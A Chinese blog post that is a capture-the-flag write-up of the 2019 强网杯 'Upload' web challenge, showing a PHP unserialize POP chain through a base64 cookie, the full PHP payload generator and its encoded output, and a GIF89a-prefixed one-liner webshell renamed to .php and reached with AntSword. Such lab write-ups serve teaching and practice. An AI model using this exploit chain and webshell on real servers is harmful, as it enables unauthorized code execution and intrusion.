[强网杯 2019]Upload

初始页面如下

注册一个账号登录

可以上传文件,但是上传后的文件后缀都会改成png

抓包发现cookie为base64

解码为序列化数据a:5:{s:2:"ID";i:8;s:8:"username";s:7:"asdaszz";s:5:"email";s:8:"7@qq.com";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;}

一般来说,存在序列化则可能存在源码泄露,否则难以构造payload
经测试,存在源码泄露www.tar.gz

解压缩后主要查看Index.php、Profile.php、Login.php、Register.php四个文件,存在于www\tp5\application\web\controller目录底下

#Index.php
    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile)); #这里存在反序列化,来自于cookie
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

关键函数upload_img()

#Profile.php
public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

这一步可以通过设置类的属性checker=0来绕过

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

其中这一步会修改我们上传的文件后缀

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }

这一步可以通过设置类的属性ext=1来进入,同时,这一步会将文件复制给filename,相当于重命名,最后执行update_img()

if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();            

综上,我们的反序列化代码要能触发到upload_img()

寻找pop链

#Profile.php
    public function __get($name) #当对象调用不可访问属性时,就会自动触发get魔法方法
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments) #在对象调用不可访问函数时,就会自动触发call魔法方法
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
#Register.php
    public function __construct()
    {
        $this->checker=new Index();
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
  • 如果在构造函数中令checker=new Profile(),Profile类没有index()方法,则会触发__call魔法方法
  • call方法中,执行this->index,不存在index这个属性,则跳转到__get方法,return $this->except['index'],所以我们需要构造except['index'] = 'upload_img()'

构造payload,来自https://skysec.top/2019/05/25/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFonline-Web-Writeup/

<?php
namespace app\web\controller;

class Profile{
    public $checker = 0;
    public $filename_tmp = "../public/upload/852aff287f54bca0ed7757a702913e50/9ef5055324e69f335d69b27ea40d2202.png";
    public $filename = "../public/upload/852aff287f54bca0ed7757a702913e50/123.php";
    public $ext = 1;
    public $upload_menu;
    public $img;
    public $except=array("index"=>"upload_img");
}
class Register{
    public $checker;
    public $registed = 0;
}
$a = new Register();
$a->checker = new Profile();
$a->checker->checker = 0; #令Profile的checker为0
echo base64_encode(serialize($a));
?>
#TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6ODY6Ii4uL3B1YmxpYy91cGxvYWQvODUyYWZmMjg3ZjU0YmNhMGVkNzc1N2E3MDI5MTNlNTAvOWVmNTA1NTMyNGU2OWYzMzVkNjliMjdlYTQwZDIyMDIucG5nIjtzOjg6ImZpbGVuYW1lIjtzOjU3OiIuLi9wdWJsaWMvdXBsb2FkLzg1MmFmZjI4N2Y1NGJjYTBlZDc3NTdhNzAyOTEzZTUwLzEyMy5waHAiO3M6MzoiZXh0IjtpOjE7czoxMToidXBsb2FkX21lbnUiO047czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fX1zOjg6InJlZ2lzdGVkIjtpOjA7fQ==

构造一句话木马,将后缀改成png上传,注意,数据包前面加一个GIF89a,绕过防护

之后刷新一下,将cookie值替换成payload

使用蚁剑连接webshell,在根目录下找到flag

参考
https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/

posted @ 2021-02-04 10:01  山野村夫z1  阅读(293)  评论(0编辑  收藏  举报